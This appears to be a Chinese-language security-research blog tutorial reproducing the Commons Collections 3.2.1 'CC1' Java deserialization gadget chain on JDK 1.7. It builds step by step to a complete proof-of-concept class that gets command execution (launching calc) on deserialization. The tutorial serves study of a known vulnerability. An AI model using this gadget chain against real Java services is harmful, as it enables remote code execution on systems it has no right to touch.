Java反序列化-CommonCollections链一(CC0),InvokerTransformer
Java反序列化-CommonCollections链一(CC0)
准备工作
动态代理对象每执行一个方法的时候,都会被转发到实现InvocationHandler接口类的invoke方法来及性能调用
链接:
https://blinkfox.github.io/2018/09/13/hou-duan/java/commons/commons-collections-bao-he-jian-jie/
思路
环境
把勾给关了
由于IDEA中Debug就利用toString,在过程中会调用代理类的toString方法从而造成非预期的命令执行
下载sun包导入
https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4
Apache Commons Collections
解压,再导入
再把目录加进去
就可以看到源代码的java文件了
漏洞版本3.2.1
https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1
maven里面下载包
点download source来下载java包
实验环境:jdk:1.7 (8u71之后已修复不可利用)
为什么1.8中不行
改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去,即不会对原先的map进行数值修改的操作了,也就不会触发RCE了
导入jdk1.7
设置成1.7相关即可
https://blog.csdn.net/h996666/article/details/81871304
分析复现
alt+ctrl点击看里面的类
跟进里面的InvokerTransformer ,可以看到,一个可控的反射写法
这个时候我们模仿他写一个调用exec的代码,也即
可以看到是成功了的。
进一步思考对InvokerTransformer
传参,来执行命令
也即传参数名,参数类型和参数值,最后再调用里面的transform方法
也即构造
1
| new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
|
可以看到命令执行了
这个时候我们也就得到了危险方法
进一步思考谁调用了transform
跟进去
找调用 usages(用法)
找不同名调用transfrom
的
比如这些
这里我们主要看map这个方法,我们这里分析transformedmap
,定位到checkSetValue
这个点
可以看TransformedMap
,完成的一个装饰操作,这边再往上追一下
我们最后是调用transform
所以需要valueTransformer
而复制函数是protected
所以再往上用decorate
来赋值
所以我们这么写
1 2 3
| InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); HashMap<Object ,Object> map = new HashMap<>(); TransformedMap.decorate(map,null,invokerTransformer);
|
然后就是调用checkSetValue
,这个时候看checkSetValue
在哪调用
可以看到被AbstractMapEntryDecorator
所调用
进一步看setValue
,也就是说修饰的map被遍历的时候会调用setValue,也就是我们构造遍历即可
所以构造
1 2 3 4 5 6 7
| InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); HashMap<Object ,Object> map = new HashMap<>(); map.put("key","aaa"); Map<Object,Object> transfromedMap =TransformedMap.decorate(map,null,invokerTransformer); for(Map.Entry entry:transfromedMap.entrySet()){ entry.setValue(r); }
|
可以看到代码是执行了的
这个时候也就是说有遍历数组,然后调用setVaule方法就可以执行了。
也就是找到了setValue,最后是进一步找readObject里面调用setValue,或者再往前找一条链
AnnotationInvocationHandler
这里继续找setValue,可以看到找到了AnnotationInvocationHandler
这个类符合我们的要求
这里分析他的构造函数
可以看到我们可以实例化一个AnnotationInvocationHandler
,然后传参,但是AnnotationInvocationHandler
是class,不能直接调用,所以需要用反射去调用
所以可以这么写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerConstrutor = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerConstrutor.setAccessible(true); Object o = annotationInvocationHandlerConstrutor.newInstance(Override.class,transfromedMap); serialize(o); unserialize("ser.bin");
} public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject();
return obj; }
|
但是,问题来了
1
| Runtime r = Runtime.getRuntime()
|
r是我们自己写的,而AnnotationInvocationHandler的setValue是这样的,显然是不符合条件的,而且还得满足两个if语句,还有就是Runtime不能序列化,得反射来解决。
先解决不能序列化问题
1 2 3 4 5
| Class c = Runtime.class; Method getRuntimeMethod = c.getMethod("getRuntime",null); Runtime r = (Runtime) getRuntimeMethod.invoke(null,null); Method execMethod = c.getMethod("exec",String.class); execMethod.invoke(r,"calc");
|
正常是这么写,改成InvokerTransform的
1 2 3
| Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class); Runtime r = (Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod); new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
|
可以看到这里连续三次调用了transform,所以想到ChainedTransformer(递归调用)来简化下
1 2 3 4 5 6 7 8
| Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class);
|
最后就是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class); HashMap<Object ,Object> map = new HashMap<>(); map.put("key","aaa"); Map<Object,Object> transfromedMap =TransformedMap.decorate(map,null,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerConstrutor = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerConstrutor.setAccessible(true); Object o = annotationInvocationHandlerConstrutor.newInstance(Override.class,transfromedMap); serialize(o); unserialize("ser.bin");
|
调试下,主要是这两个if
下断点,一路跟下去,发现第一个if是get name,把map.put(“value”,”aaa”);里面加value即可过第一个if
也即Target的常用方法value
然后就是我们得value改成我们checkValue里要传的runtime才能执行命令,这里我们想到ConstantTransformer这个类
主要看这里,这个类是不管输入的是什么,都返回的是iConstant的值,所以我们可以用这个类的transformer
最后得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class CC1Test { public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object ,Object> map = new HashMap<>(); map.put("value","aaa"); Map<Object,Object> transfromedMap =TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerConstrutor = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerConstrutor.setAccessible(true); Object o = annotationInvocationHandlerConstrutor.newInstance(Target.class,transfromedMap); serialize(o); unserialize("ser.bin");
} public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject();
return obj; } }
|
最后执行成功
还有一条CC1链子见
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java
参考:
https://www.bilibili.com/video/BV1no4y1U7E1?spm_id_from=333.999.0.0
https://www.yuque.com/tianxiadamutou/zcfd4v/hsh32p#3b11f6b6